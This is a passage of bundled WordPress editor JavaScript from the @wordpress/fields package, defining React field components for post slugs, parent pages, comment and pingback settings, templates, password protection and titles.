6424 d: "M5.625 5.5h9.75c.069 0 .125.056.125.125v9.75a.125.125 0 0 1-.125.125h-9.75a.125.125 0 0 1-.125-.125v-9.75c0-.069.056-.125.125-.125ZM4 5.625C4 4.728 4.728 4 5.625 4h9.75C16.273 4 17 4.728 17 5.625v9.75c0 .898-.727 1.625-1.625 1.625h-9.75A1.625 1.625 0 0 1 4 15.375v-9.75Zm14.5 11.656v-9H20v9C20 18.8 18.77 20 17.251 20H6.25v-1.5h11.001c.69 0 1.249-.528 1.249-1.219Z"
6425 }
6426) });
6427
6428
6429;// ./node_modules/@wordpress/fields/build-module/fields/slug/utils.js
6430
6431
6432const getSlug = (item) => {
6433 if (typeof item !== "object") {
6434 return "";
6435 }
6436 return item.slug || (0,external_wp_url_namespaceObject.cleanForSlug)(getItemTitle(item)) || item.id.toString();
6437};
6438
6439
6440;// ./node_modules/@wordpress/fields/build-module/fields/slug/slug-edit.js
6441
6442
6443
6444
6445
6446
6447
6448
6449
6450
6451const SlugEdit = ({
6452 field,
6453 onChange,
6454 data
6455}) => {
6456 const { id } = field;
6457 const slug = field.getValue({ item: data }) || getSlug(data);
6458 const permalinkTemplate = data.permalink_template || "";
6459 const PERMALINK_POSTNAME_REGEX = /%(?:postname|pagename)%/;
6460 const [prefix, suffix] = permalinkTemplate.split(
6461 PERMALINK_POSTNAME_REGEX
6462 );
6463 const permalinkPrefix = prefix;
6464 const permalinkSuffix = suffix;
6465 const isEditable = PERMALINK_POSTNAME_REGEX.test(permalinkTemplate);
6466 const originalSlugRef = (0,external_wp_element_namespaceObject.useRef)(slug);
6467 const slugToDisplay = slug || originalSlugRef.current;
6468 const permalink = isEditable ? `${permalinkPrefix}${slugToDisplay}${permalinkSuffix}` : (0,external_wp_url_namespaceObject.safeDecodeURIComponent)(data.link || "");
6469 (0,external_wp_element_namespaceObject.useEffect)(() => {
6470 if (slug && originalSlugRef.current === void 0) {
6471 originalSlugRef.current = slug;
6472 }
6473 }, [slug]);
6474 const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(
6475 (newValue) => onChange({
6476 [id]: newValue
6477 }),
6478 [id, onChange]
6479 );
6480 const { createNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
6481 const copyButtonRef = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(permalink, () => {
6482 createNotice("info", (0,external_wp_i18n_namespaceObject.__)("Copied Permalink to clipboard."), {
6483 isDismissible: true,
6484 type: "snackbar"
6485 });
6486 });
6487 const postUrlSlugDescriptionId = "editor-post-url__slug-description-" + (0,external_wp_compose_namespaceObject.useInstanceId)(SlugEdit);
6488 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", { className: "fields-controls__slug", children: [
6489 isEditable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { children: [
6490 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "0px", children: [
6491 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: (0,external_wp_i18n_namespaceObject.__)(
6492 "Customize the last part of the Permalink."
6493 ) }),
6494 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, { href: "https://wordpress.org/documentation/article/page-post-settings-sidebar/#permalink", children: (0,external_wp_i18n_namespaceObject.__)("Learn more") })
6495 ] }),
6496 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6497 external_wp_components_namespaceObject.__experimentalInputControl,
6498 {
6499 __next40pxDefaultSize: true,
6500 prefix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlPrefixWrapper, { children: "/" }),
6501 suffix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6502 external_wp_components_namespaceObject.Button,
6503 {
6504 __next40pxDefaultSize: true,
6505 icon: copy_small_default,
6506 ref: copyButtonRef,
6507 label: (0,external_wp_i18n_namespaceObject.__)("Copy")
6508 }
6509 ),
6510 label: (0,external_wp_i18n_namespaceObject.__)("Link"),
6511 hideLabelFromVision: true,
6512 value: slug,
6513 autoComplete: "off",
6514 spellCheck: "false",
6515 type: "text",
6516 className: "fields-controls__slug-input",
6517 onChange: (newValue) => {
6518 onChangeControl(newValue);
6519 },
6520 onBlur: () => {
6521 if (slug === "") {
6522 onChangeControl(originalSlugRef.current);
6523 }
6524 },
6525 "aria-describedby": postUrlSlugDescriptionId
6526 }
6527 ),
6528 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "fields-controls__slug-help", children: [
6529 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "fields-controls__slug-help-visual-label", children: (0,external_wp_i18n_namespaceObject.__)("Permalink:") }),
6530 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
6531 external_wp_components_namespaceObject.ExternalLink,
6532 {
6533 className: "fields-controls__slug-help-link",
6534 href: permalink,
6535 children: [
6536 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "fields-controls__slug-help-prefix", children: permalinkPrefix }),
6537 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "fields-controls__slug-help-slug", children: slugToDisplay }),
6538 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "fields-controls__slug-help-suffix", children: permalinkSuffix })
6539 ]
6540 }
6541 )
6542 ] })
6543 ] }),
6544 !isEditable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6545 external_wp_components_namespaceObject.ExternalLink,
6546 {
6547 className: "fields-controls__slug-help",
6548 href: permalink,
6549 children: permalink
6550 }
6551 )
6552 ] });
6553};
6554var slug_edit_default = SlugEdit;
6555
6556
6557;// ./node_modules/@wordpress/fields/build-module/fields/slug/slug-view.js
6558
6559
6560const SlugView = ({ item }) => {
6561 const slug = getSlug(item);
6562 const originalSlugRef = (0,external_wp_element_namespaceObject.useRef)(slug);
6563 (0,external_wp_element_namespaceObject.useEffect)(() => {
6564 if (slug && originalSlugRef.current === void 0) {
6565 originalSlugRef.current = slug;
6566 }
6567 }, [slug]);
6568 const slugToDisplay = slug || originalSlugRef.current;
6569 return `${slugToDisplay}`;
6570};
6571var slug_view_default = SlugView;
6572
6573
6574;// ./node_modules/@wordpress/fields/build-module/fields/slug/index.js
6575
6576
6577
6578const slugField = {
6579 id: "slug",
6580 type: "text",
6581 label: (0,external_wp_i18n_namespaceObject.__)("Slug"),
6582 Edit: slug_edit_default,
6583 render: slug_view_default,
6584 filterBy: false
6585};
6586var slug_default = slugField;
6587
6588
6589// EXTERNAL MODULE: ./node_modules/remove-accents/index.js
6590var remove_accents = __webpack_require__(9681);
6591var remove_accents_default = /*#__PURE__*/__webpack_require__.n(remove_accents);
6592;// ./node_modules/@wordpress/fields/build-module/fields/parent/utils.js
6593
6594
6595function getTitleWithFallbackName(post) {
6596 return typeof post.title === "object" && "rendered" in post.title && post.title.rendered ? (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(post.title.rendered) : `#${post?.id} (${(0,external_wp_i18n_namespaceObject.__)("no title")})`;
6597}
6598
6599
6600;// ./node_modules/@wordpress/fields/build-module/fields/parent/parent-edit.js
6601
6602
6603
6604
6605
6606
6607
6608
6609
6610
6611
6612function buildTermsTree(flatTerms) {
6613 const flatTermsWithParentAndChildren = flatTerms.map((term) => {
6614 return {
6615 children: [],
6616 ...term
6617 };
6618 });
6619 if (flatTermsWithParentAndChildren.some(
6620 ({ parent }) => parent === null || parent === void 0
6621 )) {
6622 return flatTermsWithParentAndChildren;
6623 }
6624 const termsByParent = flatTermsWithParentAndChildren.reduce(
6625 (acc, term) => {
6626 const { parent } = term;
6627 if (!acc[parent]) {
6628 acc[parent] = [];
6629 }
6630 acc[parent].push(term);
6631 return acc;
6632 },
6633 {}
6634 );
6635 const fillWithChildren = (terms) => {
6636 return terms.map((term) => {
6637 const children = termsByParent[term.id];
6638 return {
6639 ...term,
6640 children: children && children.length ? fillWithChildren(children) : []
6641 };
6642 });
6643 };
6644 return fillWithChildren(termsByParent["0"] || []);
6645}
6646const getItemPriority = (name, searchValue) => {
6647 const normalizedName = remove_accents_default()(name || "").toLowerCase();
6648 const normalizedSearch = remove_accents_default()(searchValue || "").toLowerCase();
6649 if (normalizedName === normalizedSearch) {
6650 return 0;
6651 }
6652 if (normalizedName.startsWith(normalizedSearch)) {
6653 return normalizedName.length;
6654 }
6655 return Infinity;
6656};
6657function PageAttributesParent({
6658 data,
6659 onChangeControl
6660}) {
6661 const [fieldValue, setFieldValue] = (0,external_wp_element_namespaceObject.useState)(null);
6662 const pageId = data.parent;
6663 const postId = data.id;
6664 const postTypeSlug = data.type;
6665 const { parentPostTitle, pageItems, isHierarchical } = (0,external_wp_data_namespaceObject.useSelect)(
6666 (select) => {
6667 const { getEntityRecord, getEntityRecords, getPostType } = select(external_wp_coreData_namespaceObject.store);
6668 const postTypeInfo = getPostType(postTypeSlug);
6669 const postIsHierarchical = postTypeInfo?.hierarchical && postTypeInfo.viewable;
6670 const parentPost = pageId ? getEntityRecord(
6671 "postType",
6672 postTypeSlug,
6673 pageId
6674 ) : null;
6675 const query = {
6676 per_page: 100,
6677 exclude: postId,
6678 parent_exclude: postId,
6679 orderby: "menu_order",
6680 order: "asc",
6681 _fields: "id,title,parent",
6682 ...fieldValue !== null && {
6683 search: fieldValue
6684 }
6685 };
6686 return {
6687 isHierarchical: postIsHierarchical,
6688 parentPostTitle: parentPost ? getTitleWithFallbackName(parentPost) : "",
6689 pageItems: postIsHierarchical ? getEntityRecords(
6690 "postType",
6691 postTypeSlug,
6692 query
6693 ) : null
6694 };
6695 },
6696 [fieldValue, pageId, postId, postTypeSlug]
6697 );
6698 const parentOptions = (0,external_wp_element_namespaceObject.useMemo)(() => {
6699 const getOptionsFromTree = (tree2, level = 0) => {
6700 const mappedNodes = tree2.map((treeNode) => [
6701 {
6702 value: treeNode.id,
6703 label: "\u2014 ".repeat(level) + (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(treeNode.name),
6704 rawName: treeNode.name
6705 },
6706 ...getOptionsFromTree(treeNode.children || [], level + 1)
6707 ]);
6708 const sortedNodes = mappedNodes.sort(([a], [b]) => {
6709 const priorityA = getItemPriority(
6710 a.rawName,
6711 fieldValue ?? ""
6712 );
6713 const priorityB = getItemPriority(
6714 b.rawName,
6715 fieldValue ?? ""
6716 );
6717 return priorityA >= priorityB ? 1 : -1;
6718 });
6719 return sortedNodes.flat();
6720 };
6721 if (!pageItems) {
6722 return [];
6723 }
6724 let tree = pageItems.map((item) => ({
6725 id: item.id,
6726 parent: item.parent ?? null,
6727 name: getTitleWithFallbackName(item)
6728 }));
6729 if (!fieldValue) {
6730 tree = buildTermsTree(tree);
6731 }
6732 const opts = getOptionsFromTree(tree);
6733 const optsHasParent = opts.find((item) => item.value === pageId);
6734 if (pageId && parentPostTitle && !optsHasParent) {
6735 opts.unshift({
6736 value: pageId,
6737 label: parentPostTitle,
6738 rawName: ""
6739 });
6740 }
6741 return opts.map((option) => ({
6742 ...option,
6743 value: option.value.toString()
6744 }));
6745 }, [pageItems, fieldValue, parentPostTitle, pageId]);
6746 if (!isHierarchical) {
6747 return null;
6748 }
6749 const handleKeydown = (inputValue) => {
6750 setFieldValue(inputValue);
6751 };
6752 const handleChange = (selectedPostId) => {
6753 if (selectedPostId) {
6754 return onChangeControl(parseInt(selectedPostId, 10) ?? 0);
6755 }
6756 onChangeControl(0);
6757 };
6758 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6759 external_wp_components_namespaceObject.ComboboxControl,
6760 {
6761 __nextHasNoMarginBottom: true,
6762 __next40pxDefaultSize: true,
6763 label: (0,external_wp_i18n_namespaceObject.__)("Parent"),
6764 help: (0,external_wp_i18n_namespaceObject.__)("Choose a parent page."),
6765 value: pageId?.toString(),
6766 options: parentOptions,
6767 onFilterValueChange: (0,external_wp_compose_namespaceObject.debounce)(
6768 (value) => handleKeydown(value),
6769 300
6770 ),
6771 onChange: handleChange,
6772 hideLabelFromVision: true
6773 }
6774 );
6775}
6776const ParentEdit = ({
6777 data,
6778 field,
6779 onChange
6780}) => {
6781 const { id } = field;
6782 const homeUrl = (0,external_wp_data_namespaceObject.useSelect)((select) => {
6783 return select(external_wp_coreData_namespaceObject.store).getEntityRecord("root", "__unstableBase")?.home;
6784 }, []);
6785 const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(
6786 (newValue) => onChange({
6787 [id]: newValue
6788 }),
6789 [id, onChange]
6790 );
6791 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("fieldset", { className: "fields-controls__parent", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { children: [
6792 (0,external_wp_element_namespaceObject.createInterpolateElement)(
6793 (0,external_wp_i18n_namespaceObject.sprintf)(
6794 /* translators: %1$s The home URL of the WordPress installation without the scheme. */
6795 (0,external_wp_i18n_namespaceObject.__)(
6796 'Child pages inherit characteristics from their parent, such as URL structure. For instance, if "Pricing" is a child of "Services", its URL would be %1$s<wbr />/services<wbr />/pricing.'
6797 ),
6798 (0,external_wp_url_namespaceObject.filterURLForDisplay)(homeUrl).replace(
6799 /([/.])/g,
6800 "<wbr />$1"
6801 )
6802 ),
6803 {
6804 wbr: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("wbr", {})
6805 }
6806 ),
6807 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_element_namespaceObject.createInterpolateElement)(
6808 (0,external_wp_i18n_namespaceObject.__)(
6809 "They also show up as sub-items in the default navigation menu. <a>Learn more.</a>"
6810 ),
6811 {
6812 a: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6813 external_wp_components_namespaceObject.ExternalLink,
6814 {
6815 href: (0,external_wp_i18n_namespaceObject.__)(
6816 "https://wordpress.org/documentation/article/page-post-settings-sidebar/#page-attributes"
6817 ),
6818 children: void 0
6819 }
6820 )
6821 }
6822 ) }),
6823 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6824 PageAttributesParent,
6825 {
6826 data,
6827 onChangeControl
6828 }
6829 )
6830 ] }) });
6831};
6832
6833
6834;// ./node_modules/@wordpress/fields/build-module/fields/parent/parent-view.js
6835
6836
6837
6838
6839
6840const ParentView = ({
6841 item
6842}) => {
6843 const parent = (0,external_wp_data_namespaceObject.useSelect)(
6844 (select) => {
6845 const { getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
6846 return item?.parent ? getEntityRecord("postType", item.type, item.parent) : null;
6847 },
6848 [item.parent, item.type]
6849 );
6850 if (parent) {
6851 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: getTitleWithFallbackName(parent) });
6852 }
6853 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: (0,external_wp_i18n_namespaceObject.__)("None") });
6854};
6855
6856
6857;// ./node_modules/@wordpress/fields/build-module/fields/parent/index.js
6858
6859
6860
6861const parentField = {
6862 id: "parent",
6863 type: "text",
6864 label: (0,external_wp_i18n_namespaceObject.__)("Parent"),
6865 Edit: ParentEdit,
6866 render: ParentView,
6867 enableSorting: true,
6868 filterBy: false
6869};
6870var parent_default = parentField;
6871
6872
6873;// ./node_modules/@wordpress/fields/build-module/fields/comment-status/index.js
6874
6875const commentStatusField = {
6876 id: "comment_status",
6877 label: (0,external_wp_i18n_namespaceObject.__)("Comments"),
6878 type: "text",
6879 Edit: "radio",
6880 enableSorting: false,
6881 enableHiding: false,
6882 filterBy: false,
6883 elements: [
6884 {
6885 value: "open",
6886 label: (0,external_wp_i18n_namespaceObject.__)("Open"),
6887 description: (0,external_wp_i18n_namespaceObject.__)("Visitors can add new comments and replies.")
6888 },
6889 {
6890 value: "closed",
6891 label: (0,external_wp_i18n_namespaceObject.__)("Closed"),
6892 description: (0,external_wp_i18n_namespaceObject.__)(
6893 "Visitors cannot add new comments or replies. Existing comments remain visible."
6894 )
6895 }
6896 ]
6897};
6898var comment_status_default = commentStatusField;
6899
6900
6901;// ./node_modules/@wordpress/fields/build-module/fields/ping-status/index.js
6902
6903
6904
6905function PingStatusEdit({
6906 data,
6907 onChange
6908}) {
6909 const pingStatus = data?.ping_status ?? "open";
6910 const onTogglePingback = (checked) => {
6911 onChange({
6912 ...data,
6913 ping_status: checked ? "open" : "closed"
6914 });
6915 };
6916 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6917 external_wp_components_namespaceObject.CheckboxControl,
6918 {
6919 __nextHasNoMarginBottom: true,
6920 label: (0,external_wp_i18n_namespaceObject.__)("Enable pingbacks & trackbacks"),
6921 checked: pingStatus === "open",
6922 onChange: onTogglePingback,
6923 help: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6924 external_wp_components_namespaceObject.ExternalLink,
6925 {
6926 href: (0,external_wp_i18n_namespaceObject.__)(
6927 "https://wordpress.org/documentation/article/trackbacks-and-pingbacks/"
6928 ),
6929 children: (0,external_wp_i18n_namespaceObject.__)("Learn more about pingbacks & trackbacks")
6930 }
6931 )
6932 }
6933 );
6934}
6935const pingStatusField = {
6936 id: "ping_status",
6937 label: (0,external_wp_i18n_namespaceObject.__)("Trackbacks & Pingbacks"),
6938 type: "text",
6939 Edit: PingStatusEdit,
6940 enableSorting: false,
6941 enableHiding: false,
6942 filterBy: false,
6943 elements: [
6944 {
6945 value: "open",
6946 label: (0,external_wp_i18n_namespaceObject.__)("Allow"),
6947 description: (0,external_wp_i18n_namespaceObject.__)(
6948 "Allow link notifications from other blogs (pingbacks and trackbacks) on new articles."
6949 )
6950 },
6951 {
6952 value: "closed",
6953 label: (0,external_wp_i18n_namespaceObject.__)("Don't allow"),
6954 description: (0,external_wp_i18n_namespaceObject.__)(
6955 "Don't allow link notifications from other blogs (pingbacks and trackbacks) on new articles."
6956 )
6957 }
6958 ]
6959};
6960var ping_status_default = pingStatusField;
6961
6962
6963;// ./node_modules/@wordpress/fields/build-module/fields/discussion/index.js
6964
6965const discussionField = {
6966 id: "discussion",
6967 label: (0,external_wp_i18n_namespaceObject.__)("Discussion"),
6968 type: "text",
6969 render: ({ item }) => {
6970 const commentsOpen = item.comment_status === "open";
6971 const pingsOpen = item.ping_status === "open";
6972 if (commentsOpen && pingsOpen) {
6973 return (0,external_wp_i18n_namespaceObject.__)("Open");
6974 }
6975 if (commentsOpen && !pingsOpen) {
6976 return (0,external_wp_i18n_namespaceObject.__)("Comments only");
6977 }
6978 if (!commentsOpen && pingsOpen) {
6979 return (0,external_wp_i18n_namespaceObject.__)("Pings only");
6980 }
6981 return (0,external_wp_i18n_namespaceObject.__)("Closed");
6982 },
6983 filterBy: false
6984};
6985var discussion_default = discussionField;
6986
6987
6988;// ./node_modules/@wordpress/fields/build-module/fields/template/template-edit.js
6989
6990
6991
6992
6993
6994
6995
6996
6997
6998
6999
7000
7001const EMPTY_ARRAY = [];
7002const TemplateEdit = ({
7003 data,
7004 field,
7005 onChange
7006}) => {
7007 const { id } = field;
7008 const postType = data.type;
7009 const postId = typeof data.id === "number" ? data.id : parseInt(data.id, 10);
7010 const slug = data.slug;
7011 const { canSwitchTemplate, templates } = (0,external_wp_data_namespaceObject.useSelect)(
7012 (select) => {
7013 const allTemplates = select(external_wp_coreData_namespaceObject.store).getEntityRecords(
7014 "postType",
7015 "wp_template",
7016 {
7017 per_page: -1,
7018 post_type: postType
7019 }
7020 ) ?? EMPTY_ARRAY;
7021 const { getHomePage, getPostsPageId } = lock_unlock_unlock(
7022 select(external_wp_coreData_namespaceObject.store)
7023 );
7024 const isPostsPage = getPostsPageId() === +postId;
7025 const isFrontPage = postType === "page" && getHomePage()?.postId === +postId;
7026 const allowSwitchingTemplate = !isPostsPage && !isFrontPage;
7027 return {
7028 templates: allTemplates,
7029 canSwitchTemplate: allowSwitchingTemplate
7030 };
7031 },
7032 [postId, postType]
7033 );
7034 const templatesAsPatterns = (0,external_wp_element_namespaceObject.useMemo)(() => {
7035 if (!canSwitchTemplate) {
7036 return [];
7037 }
7038 return templates.filter(
7039 (template) => template.is_custom && template.slug !== data.template && // Skip empty templates.
7040 !!template.content.raw
7041 ).map((template) => ({
7042 name: template.slug,
7043 blocks: (0,external_wp_blocks_namespaceObject.parse)(template.content.raw),
7044 title: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(template.title.rendered),
7045 id: template.id
7046 }));
7047 }, [canSwitchTemplate, data.template, templates]);
7048 const shownTemplates = (0,external_wp_compose_namespaceObject.useAsyncList)(templatesAsPatterns);
7049 const value = field.getValue({ item: data });
7050 const foundTemplate = templates.find(
7051 (template) => template.slug === value
7052 );
7053 const currentTemplate = (0,external_wp_data_namespaceObject.useSelect)(
7054 (select) => {
7055 if (foundTemplate) {
7056 return foundTemplate;
7057 }
7058 let slugToCheck;
7059 if (slug) {
7060 slugToCheck = postType === "page" ? `${postType}-${slug}` : `single-${postType}-${slug}`;
7061 } else {
7062 slugToCheck = postType === "page" ? "page" : `single-${postType}`;
7063 }
7064 if (postType) {
7065 const templateId = select(external_wp_coreData_namespaceObject.store).getDefaultTemplateId({
7066 slug: slugToCheck
7067 });
7068 return select(external_wp_coreData_namespaceObject.store).getEntityRecord(
7069 "postType",
7070 "wp_template",
7071 templateId
7072 );
7073 }
7074 },
7075 [foundTemplate, postType, slug]
7076 );
7077 const [showModal, setShowModal] = (0,external_wp_element_namespaceObject.useState)(false);
7078 const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(
7079 (newValue) => onChange({
7080 [id]: newValue
7081 }),
7082 [id, onChange]
7083 );
7084 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", { className: "fields-controls__template", children: [
7085 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7086 external_wp_components_namespaceObject.Dropdown,
7087 {
7088 popoverProps: { placement: "bottom-start" },
7089 renderToggle: ({ onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7090 external_wp_components_namespaceObject.Button,
7091 {
7092 __next40pxDefaultSize: true,
7093 variant: "tertiary",
7094 size: "compact",
7095 onClick: onToggle,
7096 children: currentTemplate ? getItemTitle(currentTemplate) : ""
7097 }
7098 ),
7099 renderContent: ({ onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { children: [
7100 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7101 external_wp_components_namespaceObject.MenuItem,
7102 {
7103 onClick: () => {
7104 setShowModal(true);
7105 onToggle();
7106 },
7107 children: (0,external_wp_i18n_namespaceObject.__)("Change template")
7108 }
7109 ),
7110 // The default template in a post is indicated by an empty string
7111 value !== "" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7112 external_wp_components_namespaceObject.MenuItem,
7113 {
7114 onClick: () => {
7115 onChangeControl("");
7116 onToggle();
7117 },
7118 children: (0,external_wp_i18n_namespaceObject.__)("Use default template")
7119 }
7120 )
7121 ] })
7122 }
7123 ),
7124 showModal && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7125 external_wp_components_namespaceObject.Modal,
7126 {
7127 title: (0,external_wp_i18n_namespaceObject.__)("Choose a template"),
7128 onRequestClose: () => setShowModal(false),
7129 overlayClassName: "fields-controls__template-modal",
7130 isFullScreen: true,
7131 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "fields-controls__template-content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7132 external_wp_blockEditor_namespaceObject.__experimentalBlockPatternsList,
7133 {
7134 label: (0,external_wp_i18n_namespaceObject.__)("Templates"),
7135 blockPatterns: templatesAsPatterns,
7136 shownPatterns: shownTemplates,
7137 onClickPattern: (template) => {
7138 onChangeControl(template.name);
7139 setShowModal(false);
7140 }
7141 }
7142 ) })
7143 }
7144 )
7145 ] });
7146};
7147
7148
7149;// ./node_modules/@wordpress/fields/build-module/fields/template/index.js
7150
7151
7152const templateField = {
7153 id: "template",
7154 type: "text",
7155 label: (0,external_wp_i18n_namespaceObject.__)("Template"),
7156 Edit: TemplateEdit,
7157 enableSorting: false,
7158 filterBy: false
7159};
7160var template_default = templateField;
7161
7162
7163;// ./node_modules/@wordpress/fields/build-module/fields/password/edit.js
7164
7165
7166
7167
7168function PasswordEdit({
7169 data,
7170 onChange,
7171 field
7172}) {
7173 const [showPassword, setShowPassword] = (0,external_wp_element_namespaceObject.useState)(
7174 !!field.getValue({ item: data })
7175 );
7176 const handleTogglePassword = (value) => {
7177 setShowPassword(value);
7178 if (!value) {
7179 onChange({ password: "" });
7180 }
7181 };
7182 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
7183 external_wp_components_namespaceObject.__experimentalVStack,
7184 {
7185 as: "fieldset",
7186 spacing: 4,
7187 className: "fields-controls__password",
7188 children: [
7189 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7190 external_wp_components_namespaceObject.CheckboxControl,
7191 {
7192 __nextHasNoMarginBottom: true,
7193 label: (0,external_wp_i18n_namespaceObject.__)("Password protected"),
7194 help: (0,external_wp_i18n_namespaceObject.__)("Only visible to those who know the password"),
7195 checked: showPassword,
7196 onChange: handleTogglePassword
7197 }
7198 ),
7199 showPassword && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "fields-controls__password-input", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7200 external_wp_components_namespaceObject.TextControl,
7201 {
7202 label: (0,external_wp_i18n_namespaceObject.__)("Password"),
7203 onChange: (value) => onChange({
7204 password: value
7205 }),
7206 value: field.getValue({ item: data }) || "",
7207 placeholder: (0,external_wp_i18n_namespaceObject.__)("Use a secure password"),
7208 type: "text",
7209 __next40pxDefaultSize: true,
7210 __nextHasNoMarginBottom: true,
7211 maxLength: 255
7212 }
7213 ) })
7214 ]
7215 }
7216 );
7217}
7218var edit_default = PasswordEdit;
7219
7220
7221;// ./node_modules/@wordpress/fields/build-module/fields/password/index.js
7222
7223
7224const passwordField = {
7225 id: "password",
7226 type: "text",
7227 label: (0,external_wp_i18n_namespaceObject.__)("Password"),
7228 Edit: edit_default,
7229 enableSorting: false,
7230 enableHiding: false,
7231 isVisible: (item) => item.status !== "private",
7232 filterBy: false
7233};
7234var password_default = passwordField;
7235
7236
7237;// ./node_modules/@wordpress/fields/build-module/fields/title/view.js
7238
7239
7240
7241
7242
7243function BaseTitleView({
7244 item,
7245 className,
7246 children
7247}) {
7248 const renderedTitle = getItemTitle(item);
7249 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
7250 external_wp_components_namespaceObject.__experimentalHStack,
7251 {
7252 className: dist_clsx("fields-field__title", className),
7253 alignment: "center",
7254 justify: "flex-start",
7255 children: [
7256 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: renderedTitle || (0,external_wp_i18n_namespaceObject.__)("(no title)") }),
7257 children
7258 ]
7259 }
7260 );
7261}
7262function TitleView({ item }) {
7263 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BaseTitleView, { item });
7264}
7265
7266
7267;// ./node_modules/@wordpress/fields/build-module/fields/page-title/view.js
7268
7269
7270
7271
7272
7273
7274
7275const { Badge } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
7276function PageTitleView({ item }) {
7277 const { frontPageId, postsPageId } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
7278 const { getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
7279 const siteSettings = getEntityRecord(
7280 "root",
7281 "site"
7282 );
7283 return {
7284 frontPageId: siteSettings?.page_on_front,
7285 postsPageId: siteSettings?.page_for_posts
7286 };
7287 }, []);
7288 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BaseTitleView, { item, className: "fields-field__page-title", children: [frontPageId, postsPageId].includes(item.id) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Badge, { children: item.id === frontPageId ? (0,external_wp_i18n_namespaceObject.__)("Homepage") : (0,external_wp_i18n_namespaceObject.__)("Posts Page") }) });
7289}
7290
7291
7292;// ./node_modules/@wordpress/fields/build-module/fields/page-title/index.js
7293
7294
7295
7296const pageTitleField = {
7297 type: "text",
7298 id: "title",
7299 label: (0,external_wp_i18n_namespaceObject.__)("Title"),
7300 placeholder: (0,external_wp_i18n_namespaceObject.__)("No title"),
7301 getValue: ({ item }) => getItemTitle(item),
7302 render: PageTitleView,
7303 enableHiding: false,
7304 enableGlobalSearch: true,
7305 filterBy: false
7306};
7307var page_title_default = pageTitleField;
7308
7309
7310;// ./node_modules/@wordpress/fields/build-module/fields/template-title/index.js
7311
7312
7313
7314const templateTitleField = {
7315 type: "text",
7316 label: (0,external_wp_i18n_namespaceObject.__)("Template"),
